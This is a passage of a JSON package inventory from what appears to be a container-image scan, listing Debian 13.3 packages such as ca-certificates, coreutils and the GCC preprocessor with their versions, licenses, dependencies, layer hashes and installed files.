"libbz2-1.0@1.0.8-6", "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/bin/bzdiff", "/usr/bin/bzexe", "/usr/bin/bzgrep", "/usr/bin/bzip2", "/usr/bin/bzip2recover", "/usr/bin/bzmore", "/usr/share/doc/bzip2/changelog.Debian.gz", "/usr/share/doc/bzip2/changelog.gz", "/usr/share/doc/bzip2/copyright", "/usr/share/man/man1/bzdiff.1.gz", "/usr/share/man/man1/bzexe.1.gz", "/usr/share/man/man1/bzgrep.1.gz", "/usr/share/man/man1/bzip2.1.gz", "/usr/share/man/man1/bzmore.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "ca-certificates@20250419", "Name": "ca-certificates", "Identifier": { "PURL": "pkg:deb/debian/ca-certificates@20250419?arch=all\u0026distro=debian-13.3", "UID": "1973cdf1772a78d5" }, "Version": "20250419", "Arch": "all", "SrcName": "ca-certificates", "SrcVersion": "20250419", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "MPL-2.0" ], "Maintainer": "Julien Cristau \u003cjcristau@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "debconf@1.5.91", "openssl@3.5.4-1~deb13u2" ], "Layer": { "DiffID": "sha256:6400845f12abd9c03c1a59d5630378e1a6ff58fb36ea655ab2605e166ad4d587" }, "InstalledFiles": [ "/usr/sbin/update-ca-certificates", "/usr/share/ca-certificates/mozilla/ACCVRAIZ1.crt", "/usr/share/ca-certificates/mozilla/AC_RAIZ_FNMT-RCM.crt", "/usr/share/ca-certificates/mozilla/AC_RAIZ_FNMT-RCM_SERVIDORES_SEGUROS.crt", "/usr/share/ca-certificates/mozilla/ANF_Secure_Server_Root_CA.crt", "/usr/share/ca-certificates/mozilla/Actalis_Authentication_Root_CA.crt", "/usr/share/ca-certificates/mozilla/AffirmTrust_Commercial.crt", "/usr/share/ca-certificates/mozilla/AffirmTrust_Networking.crt", "/usr/share/ca-certificates/mozilla/AffirmTrust_Premium.crt", "/usr/share/ca-certificates/mozilla/AffirmTrust_Premium_ECC.crt", "/usr/share/ca-certificates/mozilla/Amazon_Root_CA_1.crt", "/usr/share/ca-certificates/mozilla/Amazon_Root_CA_2.crt", "/usr/share/ca-certificates/mozilla/Amazon_Root_CA_3.crt", "/usr/share/ca-certificates/mozilla/Amazon_Root_CA_4.crt", "/usr/share/ca-certificates/mozilla/Atos_TrustedRoot_2011.crt", "/usr/share/ca-certificates/mozilla/Atos_TrustedRoot_Root_CA_ECC_TLS_2021.crt", "/usr/share/ca-certificates/mozilla/Atos_TrustedRoot_Root_CA_RSA_TLS_2021.crt", "/usr/share/ca-certificates/mozilla/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.crt", "/usr/share/ca-certificates/mozilla/BJCA_Global_Root_CA1.crt", "/usr/share/ca-certificates/mozilla/BJCA_Global_Root_CA2.crt", "/usr/share/ca-certificates/mozilla/Baltimore_CyberTrust_Root.crt", "/usr/share/ca-certificates/mozilla/Buypass_Class_2_Root_CA.crt", "/usr/share/ca-certificates/mozilla/Buypass_Class_3_Root_CA.crt", "/usr/share/ca-certificates/mozilla/CA_Disig_Root_R2.crt", "/usr/share/ca-certificates/mozilla/CFCA_EV_ROOT.crt", "/usr/share/ca-certificates/mozilla/COMODO_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/COMODO_ECC_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/COMODO_RSA_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/Certainly_Root_E1.crt", "/usr/share/ca-certificates/mozilla/Certainly_Root_R1.crt", "/usr/share/ca-certificates/mozilla/Certigna.crt", "/usr/share/ca-certificates/mozilla/Certigna_Root_CA.crt", "/usr/share/ca-certificates/mozilla/Certum_EC-384_CA.crt", "/usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA.crt", "/usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA_2.crt", "/usr/share/ca-certificates/mozilla/Certum_Trusted_Root_CA.crt", "/usr/share/ca-certificates/mozilla/CommScope_Public_Trust_ECC_Root-01.crt", "/usr/share/ca-certificates/mozilla/CommScope_Public_Trust_ECC_Root-02.crt", "/usr/share/ca-certificates/mozilla/CommScope_Public_Trust_RSA_Root-01.crt", "/usr/share/ca-certificates/mozilla/CommScope_Public_Trust_RSA_Root-02.crt", "/usr/share/ca-certificates/mozilla/Comodo_AAA_Services_root.crt", "/usr/share/ca-certificates/mozilla/D-TRUST_BR_Root_CA_1_2020.crt", "/usr/share/ca-certificates/mozilla/D-TRUST_BR_Root_CA_2_2023.crt", "/usr/share/ca-certificates/mozilla/D-TRUST_EV_Root_CA_1_2020.crt", "/usr/share/ca-certificates/mozilla/D-TRUST_EV_Root_CA_2_2023.crt", "/usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_2009.crt", "/usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_EV_2009.crt", "/usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_CA.crt", "/usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G2.crt", "/usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G3.crt", "/usr/share/ca-certificates/mozilla/DigiCert_Global_Root_CA.crt", "/usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G2.crt", "/usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G3.crt", "/usr/share/ca-certificates/mozilla/DigiCert_High_Assurance_EV_Root_CA.crt", "/usr/share/ca-certificates/mozilla/DigiCert_TLS_ECC_P384_Root_G5.crt", "/usr/share/ca-certificates/mozilla/DigiCert_TLS_RSA4096_Root_G5.crt", "/usr/share/ca-certificates/mozilla/DigiCert_Trusted_Root_G4.crt", "/usr/share/ca-certificates/mozilla/Entrust.net_Premium_2048_Secure_Server_CA.crt", "/usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_EC1.crt", "/usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_G2.crt", "/usr/share/ca-certificates/mozilla/FIRMAPROFESIONAL_CA_ROOT-A_WEB.crt", "/usr/share/ca-certificates/mozilla/GDCA_TrustAUTH_R5_ROOT.crt", "/usr/share/ca-certificates/mozilla/GLOBALTRUST_2020.crt", "/usr/share/ca-certificates/mozilla/GTS_Root_R1.crt", "/usr/share/ca-certificates/mozilla/GTS_Root_R2.crt", "/usr/share/ca-certificates/mozilla/GTS_Root_R3.crt", "/usr/share/ca-certificates/mozilla/GTS_Root_R4.crt", "/usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R4.crt", "/usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R5.crt", "/usr/share/ca-certificates/mozilla/GlobalSign_Root_CA.crt", "/usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R3.crt", "/usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R6.crt", "/usr/share/ca-certificates/mozilla/GlobalSign_Root_E46.crt", "/usr/share/ca-certificates/mozilla/GlobalSign_Root_R46.crt", "/usr/share/ca-certificates/mozilla/Go_Daddy_Class_2_CA.crt", "/usr/share/ca-certificates/mozilla/Go_Daddy_Root_Certificate_Authority_-_G2.crt", "/usr/share/ca-certificates/mozilla/HARICA_TLS_ECC_Root_CA_2021.crt", "/usr/share/ca-certificates/mozilla/HARICA_TLS_RSA_Root_CA_2021.crt", "/usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_ECC_RootCA_2015.crt", "/usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_RootCA_2015.crt", "/usr/share/ca-certificates/mozilla/HiPKI_Root_CA_-_G1.crt", "/usr/share/ca-certificates/mozilla/Hongkong_Post_Root_CA_3.crt", "/usr/share/ca-certificates/mozilla/ISRG_Root_X1.crt", "/usr/share/ca-certificates/mozilla/ISRG_Root_X2.crt", "/usr/share/ca-certificates/mozilla/IdenTrust_Commercial_Root_CA_1.crt", "/usr/share/ca-certificates/mozilla/IdenTrust_Public_Sector_Root_CA_1.crt", "/usr/share/ca-certificates/mozilla/Izenpe.com.crt", "/usr/share/ca-certificates/mozilla/Microsec_e-Szigno_Root_CA_2009.crt", "/usr/share/ca-certificates/mozilla/Microsoft_ECC_Root_Certificate_Authority_2017.crt", "/usr/share/ca-certificates/mozilla/Microsoft_RSA_Root_Certificate_Authority_2017.crt", "/usr/share/ca-certificates/mozilla/NAVER_Global_Root_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/NetLock_Arany_=Class_Gold=_Főtanúsítvány.crt", "/usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GB_CA.crt", "/usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GC_CA.crt", "/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_1_G3.crt", "/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_2.crt", "/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_2_G3.crt", "/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_3.crt", "/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_3_G3.crt", "/usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_ECC.crt", "/usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_RSA_R2.crt", "/usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_ECC.crt", "/usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_RSA.crt", "/usr/share/ca-certificates/mozilla/SSL.com_TLS_ECC_Root_CA_2022.crt", "/usr/share/ca-certificates/mozilla/SSL.com_TLS_RSA_Root_CA_2022.crt", "/usr/share/ca-certificates/mozilla/SZAFIR_ROOT_CA2.crt", "/usr/share/ca-certificates/mozilla/Sectigo_Public_Server_Authentication_Root_E46.crt", "/usr/share/ca-certificates/mozilla/Sectigo_Public_Server_Authentication_Root_R46.crt", "/usr/share/ca-certificates/mozilla/SecureSign_Root_CA12.crt", "/usr/share/ca-certificates/mozilla/SecureSign_Root_CA14.crt", "/usr/share/ca-certificates/mozilla/SecureSign_Root_CA15.crt", "/usr/share/ca-certificates/mozilla/SecureTrust_CA.crt", "/usr/share/ca-certificates/mozilla/Secure_Global_CA.crt", "/usr/share/ca-certificates/mozilla/Security_Communication_ECC_RootCA1.crt", "/usr/share/ca-certificates/mozilla/Security_Communication_RootCA2.crt", "/usr/share/ca-certificates/mozilla/Starfield_Class_2_CA.crt", "/usr/share/ca-certificates/mozilla/Starfield_Root_Certificate_Authority_-_G2.crt", "/usr/share/ca-certificates/mozilla/Starfield_Services_Root_Certificate_Authority_-_G2.crt", "/usr/share/ca-certificates/mozilla/SwissSign_Gold_CA_-_G2.crt", "/usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_2.crt", "/usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_3.crt", "/usr/share/ca-certificates/mozilla/TUBITAK_Kamu_SM_SSL_Kok_Sertifikasi_-_Surum_1.crt", "/usr/share/ca-certificates/mozilla/TWCA_CYBER_Root_CA.crt", "/usr/share/ca-certificates/mozilla/TWCA_Global_Root_CA.crt", "/usr/share/ca-certificates/mozilla/TWCA_Root_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/Telekom_Security_TLS_ECC_Root_2020.crt", "/usr/share/ca-certificates/mozilla/Telekom_Security_TLS_RSA_Root_2023.crt", "/usr/share/ca-certificates/mozilla/TeliaSonera_Root_CA_v1.crt", "/usr/share/ca-certificates/mozilla/Telia_Root_CA_v2.crt", "/usr/share/ca-certificates/mozilla/TrustAsia_Global_Root_CA_G3.crt", "/usr/share/ca-certificates/mozilla/TrustAsia_Global_Root_CA_G4.crt", "/usr/share/ca-certificates/mozilla/Trustwave_Global_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/Trustwave_Global_ECC_P256_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/Trustwave_Global_ECC_P384_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/TunTrust_Root_CA.crt", "/usr/share/ca-certificates/mozilla/UCA_Extended_Validation_Root.crt", "/usr/share/ca-certificates/mozilla/UCA_Global_G2_Root.crt", "/usr/share/ca-certificates/mozilla/USERTrust_ECC_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/USERTrust_RSA_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/XRamp_Global_CA_Root.crt", "/usr/share/ca-certificates/mozilla/certSIGN_ROOT_CA.crt", "/usr/share/ca-certificates/mozilla/certSIGN_Root_CA_G2.crt", "/usr/share/ca-certificates/mozilla/e-Szigno_Root_CA_2017.crt", "/usr/share/ca-certificates/mozilla/ePKI_Root_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/emSign_ECC_Root_CA_-_C3.crt", "/usr/share/ca-certificates/mozilla/emSign_ECC_Root_CA_-_G3.crt", "/usr/share/ca-certificates/mozilla/emSign_Root_CA_-_C1.crt", "/usr/share/ca-certificates/mozilla/emSign_Root_CA_-_G1.crt", "/usr/share/ca-certificates/mozilla/vTrus_ECC_Root_CA.crt", "/usr/share/ca-certificates/mozilla/vTrus_Root_CA.crt", "/usr/share/doc/ca-certificates/README.Debian", "/usr/share/doc/ca-certificates/changelog.gz", "/usr/share/doc/ca-certificates/copyright", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/Makefile", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/README", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/ca-certificates-local.triggers", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/changelog", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/compat", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/control", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/copyright", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/postrm", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/rules", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/source/format", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/local/Local_Root_CA.crt", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/local/Makefile", "/usr/share/man/man8/update-ca-certificates.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "coreutils@9.7-3", "Name": "coreutils", "Identifier": { "PURL": "pkg:deb/debian/coreutils@9.7-3?arch=amd64\u0026distro=debian-13.3", "UID": "cb4a55f50bda2393" }, "Version": "9.7", "Release": "3", "Arch": "amd64", "SrcName": "coreutils", "SrcVersion": "9.7", "SrcRelease": "3", "Licenses": [ "GPL-3.0-or-later", "BSD-4-Clause-UC", "GPL-3.0-only", "ISC", "FSFULLR", "GFDL-1.3-no-invariants-only", "GFDL-1.3-only" ], "Maintainer": "Michael Stone \u003cmstone@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/bin/[", "/usr/bin/arch", "/usr/bin/b2sum", "/usr/bin/base32", "/usr/bin/base64", "/usr/bin/basename", "/usr/bin/basenc", "/usr/bin/cat", "/usr/bin/chcon", "/usr/bin/chgrp", "/usr/bin/chmod", "/usr/bin/chown", "/usr/bin/cksum", "/usr/bin/comm", "/usr/bin/cp", "/usr/bin/csplit", "/usr/bin/cut", "/usr/bin/date", "/usr/bin/dd", "/usr/bin/df", "/usr/bin/dir", "/usr/bin/dircolors", "/usr/bin/dirname", "/usr/bin/du", "/usr/bin/echo", "/usr/bin/env", "/usr/bin/expand", "/usr/bin/expr", "/usr/bin/factor", "/usr/bin/false", "/usr/bin/fmt", "/usr/bin/fold", "/usr/bin/groups", "/usr/bin/head", "/usr/bin/hostid", "/usr/bin/id", "/usr/bin/install", "/usr/bin/join", "/usr/bin/link", "/usr/bin/ln", "/usr/bin/logname", "/usr/bin/ls", "/usr/bin/md5sum", "/usr/bin/mkdir", "/usr/bin/mkfifo", "/usr/bin/mknod", "/usr/bin/mktemp", "/usr/bin/mv", "/usr/bin/nice", "/usr/bin/nl", "/usr/bin/nohup", "/usr/bin/nproc", "/usr/bin/numfmt", "/usr/bin/od", "/usr/bin/paste", "/usr/bin/pathchk", "/usr/bin/pinky", "/usr/bin/pr", "/usr/bin/printenv", "/usr/bin/printf", "/usr/bin/ptx", "/usr/bin/pwd", "/usr/bin/readlink", "/usr/bin/realpath", "/usr/bin/rm", "/usr/bin/rmdir", "/usr/bin/runcon", "/usr/bin/seq", "/usr/bin/sha1sum", "/usr/bin/sha224sum", "/usr/bin/sha256sum", "/usr/bin/sha384sum", "/usr/bin/sha512sum", "/usr/bin/shred", "/usr/bin/shuf", "/usr/bin/sleep", "/usr/bin/sort", "/usr/bin/split", "/usr/bin/stat", "/usr/bin/stdbuf", "/usr/bin/stty", "/usr/bin/sum", "/usr/bin/sync", "/usr/bin/tac", "/usr/bin/tail", "/usr/bin/tee", "/usr/bin/test", "/usr/bin/timeout", "/usr/bin/touch", "/usr/bin/tr", "/usr/bin/true", "/usr/bin/truncate", "/usr/bin/tsort", "/usr/bin/tty", "/usr/bin/uname", "/usr/bin/unexpand", "/usr/bin/uniq", "/usr/bin/unlink", "/usr/bin/users", "/usr/bin/vdir", "/usr/bin/wc", "/usr/bin/who", "/usr/bin/whoami", "/usr/bin/yes", "/usr/libexec/coreutils/libstdbuf.so", "/usr/sbin/chroot", "/usr/share/doc/coreutils/AUTHORS", "/usr/share/doc/coreutils/NEWS.gz", "/usr/share/doc/coreutils/README.Debian", "/usr/share/doc/coreutils/README.gz", "/usr/share/doc/coreutils/THANKS.gz", "/usr/share/doc/coreutils/TODO.gz", "/usr/share/doc/coreutils/changelog.Debian.gz", "/usr/share/doc/coreutils/changelog.gz", "/usr/share/doc/coreutils/copyright", "/usr/share/info/coreutils.info.gz", "/usr/share/lintian/overrides/coreutils", "/usr/share/locale/af/LC_MESSAGES/coreutils.mo", "/usr/share/locale/be/LC_MESSAGES/coreutils.mo", "/usr/share/locale/bg/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ca/LC_MESSAGES/coreutils.mo", "/usr/share/locale/cs/LC_MESSAGES/coreutils.mo", "/usr/share/locale/da/LC_MESSAGES/coreutils.mo", "/usr/share/locale/de/LC_MESSAGES/coreutils.mo", "/usr/share/locale/el/LC_MESSAGES/coreutils.mo", "/usr/share/locale/eo/LC_MESSAGES/coreutils.mo", "/usr/share/locale/es/LC_MESSAGES/coreutils.mo", "/usr/share/locale/et/LC_MESSAGES/coreutils.mo", "/usr/share/locale/eu/LC_MESSAGES/coreutils.mo", "/usr/share/locale/fi/LC_MESSAGES/coreutils.mo", "/usr/share/locale/fr/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ga/LC_MESSAGES/coreutils.mo", "/usr/share/locale/gl/LC_MESSAGES/coreutils.mo", "/usr/share/locale/hr/LC_MESSAGES/coreutils.mo", "/usr/share/locale/hu/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ia/LC_MESSAGES/coreutils.mo", "/usr/share/locale/id/LC_MESSAGES/coreutils.mo", "/usr/share/locale/it/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ja/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ka/LC_MESSAGES/coreutils.mo", "/usr/share/locale/kk/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ko/LC_MESSAGES/coreutils.mo", "/usr/share/locale/lg/LC_MESSAGES/coreutils.mo", "/usr/share/locale/lt/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ms/LC_MESSAGES/coreutils.mo", "/usr/share/locale/nb/LC_MESSAGES/coreutils.mo", "/usr/share/locale/nl/LC_MESSAGES/coreutils.mo", "/usr/share/locale/pl/LC_MESSAGES/coreutils.mo", "/usr/share/locale/pt/LC_MESSAGES/coreutils.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ro/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ru/LC_MESSAGES/coreutils.mo", "/usr/share/locale/sk/LC_MESSAGES/coreutils.mo", "/usr/share/locale/sl/LC_MESSAGES/coreutils.mo", "/usr/share/locale/sr/LC_MESSAGES/coreutils.mo", "/usr/share/locale/sv/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ta/LC_MESSAGES/coreutils.mo", "/usr/share/locale/tr/LC_MESSAGES/coreutils.mo", "/usr/share/locale/uk/LC_MESSAGES/coreutils.mo", "/usr/share/locale/vi/LC_MESSAGES/coreutils.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/coreutils.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/coreutils.mo", "/usr/share/man/man1/arch.1.gz", "/usr/share/man/man1/b2sum.1.gz", "/usr/share/man/man1/base32.1.gz", "/usr/share/man/man1/base64.1.gz", "/usr/share/man/man1/basename.1.gz", "/usr/share/man/man1/basenc.1.gz", "/usr/share/man/man1/cat.1.gz", "/usr/share/man/man1/chcon.1.gz", "/usr/share/man/man1/chgrp.1.gz", "/usr/share/man/man1/chmod.1.gz", "/usr/share/man/man1/chown.1.gz", "/usr/share/man/man1/cksum.1.gz", "/usr/share/man/man1/comm.1.gz", "/usr/share/man/man1/cp.1.gz", "/usr/share/man/man1/csplit.1.gz", "/usr/share/man/man1/cut.1.gz", "/usr/share/man/man1/date.1.gz", "/usr/share/man/man1/dd.1.gz", "/usr/share/man/man1/df.1.gz", "/usr/share/man/man1/dir.1.gz", "/usr/share/man/man1/dircolors.1.gz", "/usr/share/man/man1/dirname.1.gz", "/usr/share/man/man1/du.1.gz", "/usr/share/man/man1/echo.1.gz", "/usr/share/man/man1/env.1.gz", "/usr/share/man/man1/expand.1.gz", "/usr/share/man/man1/expr.1.gz", "/usr/share/man/man1/factor.1.gz", "/usr/share/man/man1/false.1.gz", "/usr/share/man/man1/fmt.1.gz", "/usr/share/man/man1/fold.1.gz", "/usr/share/man/man1/groups.1.gz", "/usr/share/man/man1/head.1.gz", "/usr/share/man/man1/hostid.1.gz", "/usr/share/man/man1/id.1.gz", "/usr/share/man/man1/install.1.gz", "/usr/share/man/man1/join.1.gz", "/usr/share/man/man1/link.1.gz", "/usr/share/man/man1/ln.1.gz", "/usr/share/man/man1/logname.1.gz", "/usr/share/man/man1/ls.1.gz", "/usr/share/man/man1/md5sum.1.gz", "/usr/share/man/man1/mkdir.1.gz", "/usr/share/man/man1/mkfifo.1.gz", "/usr/share/man/man1/mknod.1.gz", "/usr/share/man/man1/mktemp.1.gz", "/usr/share/man/man1/mv.1.gz", "/usr/share/man/man1/nice.1.gz", "/usr/share/man/man1/nl.1.gz", "/usr/share/man/man1/nohup.1.gz", "/usr/share/man/man1/nproc.1.gz", "/usr/share/man/man1/numfmt.1.gz", "/usr/share/man/man1/od.1.gz", "/usr/share/man/man1/paste.1.gz", "/usr/share/man/man1/pathchk.1.gz", "/usr/share/man/man1/pinky.1.gz", "/usr/share/man/man1/pr.1.gz", "/usr/share/man/man1/printenv.1.gz", "/usr/share/man/man1/printf.1.gz", "/usr/share/man/man1/ptx.1.gz", "/usr/share/man/man1/pwd.1.gz", "/usr/share/man/man1/readlink.1.gz", "/usr/share/man/man1/realpath.1.gz", "/usr/share/man/man1/rm.1.gz", "/usr/share/man/man1/rmdir.1.gz", "/usr/share/man/man1/runcon.1.gz", "/usr/share/man/man1/seq.1.gz", "/usr/share/man/man1/sha1sum.1.gz", "/usr/share/man/man1/sha224sum.1.gz", "/usr/share/man/man1/sha256sum.1.gz", "/usr/share/man/man1/sha384sum.1.gz", "/usr/share/man/man1/sha512sum.1.gz", "/usr/share/man/man1/shred.1.gz", "/usr/share/man/man1/shuf.1.gz", "/usr/share/man/man1/sleep.1.gz", "/usr/share/man/man1/sort.1.gz", "/usr/share/man/man1/split.1.gz", "/usr/share/man/man1/stat.1.gz", "/usr/share/man/man1/stdbuf.1.gz", "/usr/share/man/man1/stty.1.gz", "/usr/share/man/man1/sum.1.gz", "/usr/share/man/man1/sync.1.gz", "/usr/share/man/man1/tac.1.gz", "/usr/share/man/man1/tail.1.gz", "/usr/share/man/man1/tee.1.gz", "/usr/share/man/man1/test.1.gz", "/usr/share/man/man1/timeout.1.gz", "/usr/share/man/man1/touch.1.gz", "/usr/share/man/man1/tr.1.gz", "/usr/share/man/man1/true.1.gz", "/usr/share/man/man1/truncate.1.gz", "/usr/share/man/man1/tsort.1.gz", "/usr/share/man/man1/tty.1.gz", "/usr/share/man/man1/uname.1.gz", "/usr/share/man/man1/unexpand.1.gz", "/usr/share/man/man1/uniq.1.gz", "/usr/share/man/man1/unlink.1.gz", "/usr/share/man/man1/users.1.gz", "/usr/share/man/man1/vdir.1.gz", "/usr/share/man/man1/wc.1.gz", "/usr/share/man/man1/who.1.gz", "/usr/share/man/man1/whoami.1.gz", "/usr/share/man/man1/yes.1.gz", "/usr/share/man/man8/chroot.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "cpp@4:14.2.0-1", "Name": "cpp", "Identifier": { "PURL": "pkg:deb/debian/cpp@14.2.0-1?arch=amd64\u0026distro=debian-13.3\u0026epoch=4", "UID": "1a60e3f4f540d9c9" }, "Version": "14.2.0", "Release": "1", "Epoch": 4, "Arch": "amd64", "SrcName": "gcc-defaults", "SrcVersion": "1.220", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "cpp-14@14.2.0-19", "cpp-x86-64-linux-gnu@4:14.2.0-1" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/share/lintian/overrides/cpp" ], "AnalyzedBy": "dpkg" }, { "ID": "cpp-14@14.2.0-19", "Name": "cpp-14", "Identifier": { "PURL": "pkg:deb/debian/cpp-14@14.2.0-19?arch=amd64\u0026distro=debian-13.3", "UID": "5a54eaccdc1b626b" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "cpp-14-x86-64-linux-gnu@14.2.0-19", "gcc-14-base@14.2.0-19" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/share/lintian/overrides/cpp-14" ], "AnalyzedBy": "dpkg" }, { "ID": "cpp-14-x86-64-linux-gnu@14.2.0-19", "Name": "cpp-14-x86-64-linux-gnu", "Identifier": { "PURL": "pkg:deb/debian/cpp-14-x86-64-linux-gnu@14.2.0-19?arch=amd64\u0026distro=debian-13.3", "UID": "3ebcf7927e15c658" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u2", "libgmp10@2:6.3.0+dfsg-3", "libisl23@0.27-1", "libmpc3@1.3.1-1+b3", "libmpfr6@4.2.2-1", "libzstd1@1.5.7+dfsg-1", "zlib1g@1:1.3.dfsg+really1.3.1-1+b1" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/bin/x86_64-linux-gnu-cpp-14", "/usr/libexec/gcc/x86_64-linux-gnu/14/cc1", "/usr/share/lintian/overrides/cpp-14-x86-64-linux-gnu" ], "AnalyzedBy": "dpkg" }, { "ID": "cpp-x86-64-linux-gnu@4:14.2.0-1", "Name": "cpp-x86-64-linux-gnu", "Identifier": { "PURL": "pkg:deb/debian/cpp-x86-64-linux-gnu@14.2.0-1?arch=amd64\u0026distro=debian-13.3\u0026epoch=4", "UID": "3611f25f3c8c1270" }, "Version": "14.2.0", "Release": "1", "Epoch": 4, "Arch": "amd64", "SrcName": "gcc-defaults", "SrcVersion": "1.220", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "cpp-14-x86-64-linux-gnu@14.2.0-19" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/share/doc/cpp-x86-64-linux-gnu/changelog.gz", "/usr/share/doc/cpp-x86-64-linux-gnu/copyright", "/usr/share/lintian/overrides/cpp-x86-64-linux-gnu" ], "AnalyzedBy": "dpkg" }, { "ID": "dash@0.5.12-12", "Name": "dash", "Identifier": { "PURL": "pkg:deb/debian/dash@0.5.12-12?arch=amd64\u0026distro=debian-13.3", "UID": "4990b2098a2a3724" }, "Version": "0.5.12", "Release": "12", "Arch": "amd64", "SrcName": "dash", "SrcVersion": "0.5.12", "SrcRelease": "12", "Licenses": [ "BSD-3-Clause", "public-domain", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Andrej Shadura \u003candrewsh@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "debianutils@5.23.2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/bin/dash", 